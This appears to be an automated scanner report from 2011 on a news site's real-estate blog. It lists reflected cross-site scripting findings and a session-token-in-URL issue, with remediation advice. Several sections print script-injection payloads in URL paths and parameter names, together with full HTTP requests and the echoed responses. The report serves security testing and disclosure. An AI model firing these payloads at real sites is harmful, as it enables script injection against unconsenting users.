Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d33ef"><script>alert(1)</script>784ccd9e713 was submitted in the REST URL parameter 5. This input was echoed as d33ef\"><script>alert(1)</script>784ccd9e713 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef"><script>alert(1)</script>784ccd9e713/ HTTP/1.1 Host: huntingtonhomes.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 19:06:53 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Thu, 03 Feb 2011 19:06:56 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64846
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org ...[SNIP]... nate" type="application/rss+xml" title=" Page not found - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042d33ef\"><script>alert(1)</script>784ccd9e713/feed/" /> ...[SNIP]...
1.2. http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11603"><script>alert(1)</script>ec87b8f4492 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 11603\"><script>alert(1)</script>ec87b8f4492 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/?11603"><script>alert(1)</script>ec87b8f4492=1 HTTP/1.1 Host: huntingtonhomes.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:06:29 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php Link: <http://huntingtonhomes.ocregister.com/?p=127042>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 130070
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http: ...[SNIP]... ashed H.B. house on ‘Good Morning America’ - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/02/trashed-h-b-house-on-good-morning-america/127042/?11603\"><script>alert(1)</script>ec87b8f4492=1feed/" /> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44602"><script>alert(1)</script>cd83832419c was submitted in the REST URL parameter 5. This input was echoed as 44602\"><script>alert(1)</script>cd83832419c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2011/02/03/repod-green-home-is-back-on-the-market/12710044602"><script>alert(1)</script>cd83832419c/ HTTP/1.1 Host: huntingtonhomes.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 19:06:10 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Thu, 03 Feb 2011 19:06:12 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64828
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org ...[SNIP]... ternate" type="application/rss+xml" title=" Page not found - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/12710044602\"><script>alert(1)</script>cd83832419c/feed/" /> ...[SNIP]...
1.4. http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aba25"><script>alert(1)</script>01bcc28d4e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as aba25\"><script>alert(1)</script>01bcc28d4e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2011/02/03/repod-green-home-is-back-on-the-market/127100/?aba25"><script>alert(1)</script>01bcc28d4e8=1 HTTP/1.1 Host: huntingtonhomes.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:06:07 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php Link: <http://huntingtonhomes.ocregister.com/?p=127100>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77988
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http: ...[SNIP]... po’d ‘green’ home is back on the market - Huntington Homes - www.ocregister.com" href="http://huntingtonhomes.ocregister.com/2011/02/03/repod-green-home-is-back-on-the-market/127100/?aba25\"><script>alert(1)</script>01bcc28d4e8=1feed/" /> ...[SNIP]...
2. Session token in URLpreviousnext There are 2 instances of this issue:
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
GET /2011/02/02/trashed-h-b-house-on-good-morning-america/127042/ HTTP/1.1 Host: huntingtonhomes.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:05:42 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php Link: <http://huntingtonhomes.ocregister.com/?p=127042>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 128370
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http: ...[SNIP]... </div>
GET /2011/02/03/repod-green-home-is-back-on-the-market/127100/ HTTP/1.1 Host: huntingtonhomes.ocregister.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:05:42 GMT Server: Apache X-Powered-By: PHP/5.2.5 Vary: Cookie X-Pingback: http://huntingtonhomes.ocregister.com/xmlrpc.php Link: <http://huntingtonhomes.ocregister.com/?p=127100>; rel=shortlink Last-Modified: Thu, 03 Feb 2011 19:05:43 +0000 Cache-Control: max-age=300, must-revalidate Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77867
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org ...[SNIP]... </div>
The application appears to disclose some server-side source code written in PHP.
Issue background
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.